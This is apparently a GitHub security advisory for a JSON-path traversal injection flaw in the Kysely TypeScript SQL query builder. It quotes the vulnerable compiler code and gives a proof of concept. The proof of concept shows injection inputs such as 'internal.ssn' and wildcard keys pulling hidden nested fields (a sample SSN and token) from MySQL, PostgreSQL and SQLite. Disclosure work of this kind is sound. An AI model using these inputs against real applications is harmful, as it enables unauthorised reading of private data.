GitHub Advisoryadvisory · npm
GHSA-pv5w-4p9q-p3v2 Kysely: JSON-path traversal injection via unsanitized path-leg metacharacters in `JSONPathBuilder.key()` / `.at()`
HIGH
Official page ↗
- Aliases
- CVE-2026-44635
- Ecosystem
- npm
- Packages
- kysely
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-1284, CWE-22, CWE-89, CWE-915
- Reviewed
- 2026-05-11
Affected packages
• npm kysely: >= 0.26.0, < 0.28.17 → fixed in 0.28.17
Description
Summary
Kysely 0.28.12 added a `sanitizeStringLiteral()` call inside `DefaultQueryCompiler.visitJSONPathLeg` (commit `0a602bf`, PR #1727) to fix CVE-2026-32763 (`GHSA-wmrf-hv6w-mr66`). The fix only doubles single quotes (`'` → `''`); it does not escape JSON-path metacharacters (`.`, `[`, `]`, `*`, `**`, `?`). When attacker-controlled input flows into `eb.ref(col, '->$').key(input)` or `.at(input)` — including type-safe code where the JSON column is shaped like `Record` so `K extends string` is the inferred type — every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL `->$`/`->>$`, and SQLite.
• Project: Kysely — TypeScript SQL query builder (npm `kysely`); affects MySQL, PostgreSQL `->$`/`->>$`, and SQLite dialects.
• Source reviewed: `kysely-org/kysely` @ `master` (`73192e4`, version `0.28.16`).
• Deployed artefact validated: `[email protected]` from npm.
• Affected file(s):
• `src/query-compiler/default-query-compiler.ts` (lines 1611–1639, 1821–1823)
• `src/query-builder/json-path-builder.ts` (lines 93–196)
• `src/dialect/mysql/mysql-query-compiler.ts` (overrides `sanitizeStringLiteral` but inherits the same behaviour for path legs — escapes `\` and `'`, nothing else)
• CWE: CWE-89 — Improper Neutralization of Special Elements used in an SQL Command, with CWE-915 / CWE-1284 (improper validation of specified quantity in input) flavours for the JSON-path sub-language.
• OWASP 2021: A03:2021 — Injection.
Vulnerable code
`src/query-compiler/default-query-compiler.ts:1625-1639`:
```ts
protected override visitJSONPathLeg(node: JSONPathLegNode): void {
const isArrayLocation = node.type === 'ArrayLocation'
this.append(isArrayLocation ? '[' : '.') // (1)
this.append(
typeof node.value === 'string'
? this.sanitizeStringLiteral(node.value) // (2)
: String(node.value),
)
if (isArrayLocation) {
this.append(']')
}
}
```
`src/query-compiler/default-query-compiler.ts:1821-1823`:
```ts
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''") // (3)
}
```
with `LIT_WRAP_REGEX = /'/g`.
`src/query-builder/json-path-builder.ts:151-167`:
```ts
key & string
: never,
O2 = undefined extends O
? null | NonNullable[K]>
: null extends O
? null | NonNullable[K]>
: // when the object has non-specific keys, e.g. Record, should infer `T | null`!
string extends keyof NonNullable
? null | NonNullable[K]>
: NonNullable[K],
>(key: K): TraversedJSONPathBuilder {
return this.#createBuilderWithPathLeg('Member', key) // (4)
}
```
`src/query-builder/json-path-builder.ts:169-196`:
```ts
createBuilderWithPathLeg(
legType: JSONPathLegType,
value: string | number, // (5)
): TraversedJSONPathBuilder {
// ...
return new TraversedJSONPathBuilder(
JSONPathNode.cloneWithLeg(
this.#node,
JSONPathLegNode.create(legType, value), // (6)
),
)
}
```
At (1) the compiler emits the path-leg separator — `.` for member access or `[` for array index. At (2) the user-supplied string is run through `sanitizeStringLiteral`, which at (3) only doubles single quotes (`'`). Dots, brackets, asterisks, double-asterisks and question marks — every reserved character of the SQL/JSON path mini-language — pass through unmodified.
At (4) `.key(K)` types `K` as `keyof NonNullable & string`. When the JSON column is typed as `Record` (a common shape for free-form metadata blobs) the inferred `K` is just `string`, so attacker-controlled input is type-safe and does not need a `Kysely` escape hatch — this finding is *broader* than `GHSA-wmrf-hv6w-mr66` (CVE-2026-32763), which only covered the `Kysely` case. At (5)/(6) the runtime accepts any `string | number` regardless of `legType`, so a string sent into `.at(...)` (`'last'`/`'#-N'` per the public type signature) also reaches the same emitter and can carry `]` to break out of the bracket.
The fix at `0a602bf` only addressed the single-quote → string-literal escape. The JSON-path metacharacter set was overlooked.
`MysqlQueryCompiler.sanitizeStringLiteral` (`src/dialect/mysql/mysql-query-compiler.ts:47-51`) overrides the helper to also escape backslashes — but again, it does nothing for `. [ ] * ** ?`.
Reproduction (validated locally)
Environment: `[email protected]` + `[email protected]`, Node 22, on macOS. The PoC harness lives in `/Users/admin/joplin_research/kysely-poc/`.
Step 1 — Compiled-SQL evidence across all three dialects
`/Users/admin/joplin_research/kysely-poc/poc.mjs` (no DB, just `.compile()`):
```bash
$ node poc.mjs
===== MySQL =====
--- baseline: .key("nick") ---
SQL: select `profile`->'$.nick' as `out` from `person`
--- INJECTION via .key(ATTACKER) -- "nick.secret_field" ---
SQL: select `profile`->'$.nick.secret_field' as `out` from `person`
--- INJECTION via .key("*") -- wildcard reaches all keys ---
SQL: select `profile`->'$.*' as `out` from `person`
--- INJECTION via .at(ATTACKER3) -- bracket escape ---
SQL: select `profile`->'$[].secret]' as `out` from `person`
===== PostgreSQL (->$ uses jsonpath, MySQL-like) =====
--- baseline: .key("nick") ---
SQL: select "profile"->'$.nick' as "out" from "person"
--- INJECTION via .key(ATTACKER) ---
SQL: select "profile"->'$.nick.secret_field' as "out" from "person"
===== SQLite =====
--- baseline: .key("nick") ---
SQL: select "profile"->>'$.nick' as "value" from "person"
--- INJECTION via .key(ATTACKER) ---
SQL: select "profile"->>'$.nick.secret_field' as "out" from "person"
--- INJECTION via .key("*") ---
SQL: select "profile"->>'$.*' as "out" from "person"
```
The compiled SQL clearly shows the dot inside the user-supplied "key" being interpreted by the database as a path separator: `'$.nick'` (one leg) becomes `'$.nick.secret_field'` (two legs). MySQL additionally accepts `*` as a wildcard reaching every member at the current level.
Step 2 — End-to-end data disclosure on a real database
`/Users/admin/joplin_research/kysely-poc/sqlite-runtime.mjs` simulates a typical handler that reads one top-level field of the caller's profile:
```js
async function fetchProfileField(userInput) {
return db.selectFrom('me')
.select(eb => eb.ref('profile', '->>$').key(userInput).as('value'))
.where('id', '=', 1)
.execute()
}
```
The `me.profile` JSON column for user 1 is:
```json
{
"nick": "alice",
"tagline": "hi",
"internal": {
"ssn": "111-11-1111",
"token": "tok_abcdef",
"admin": true
}
}
```
The developer's intent: only top-level keys (`nick`, `tagline`) are ever requested. `internal` is private bookkeeping.
```bash
$ node sqlite-runtime.mjs
===== Legitimate request =====
userInput = "nick"
compiled SQL: select "profile"->>'$.nick' as "value" from "me" where "id" = ?
result: [ { value: 'alice' } ]
===== Injection: dot lets attacker reach nested "internal" object =====
userInput = "internal.ssn"
compiled SQL: select "profile"->>'$.internal.ssn' as "value" from "me" where "id" = ?
result: [ { value: '111-11-1111' } ]
userInput = "internal.token"
compiled SQL: select "profile"->>'$.internal.token' as "value" from "me" where "id" = ?
result: [ { value: 'tok_abcdef' } ]
userInput = "internal.admin"
compiled SQL: select "profile"->>'$.internal.admin' as "value" from "me" where "id" = ?
result: [ { value: 1 } ]
```
Expected vs. actual: the application invariant was "the user can only read top-level keys of their profile…
Related
Alias · CVE (1)
- CVE-2026-44635 Kysely is a type-safe TypeScript SQL query builder. vulnerability
Weakness · CWE (4)
- CWE-1284 Improper Validation of Specified Quantity in Input weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
- CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes weakness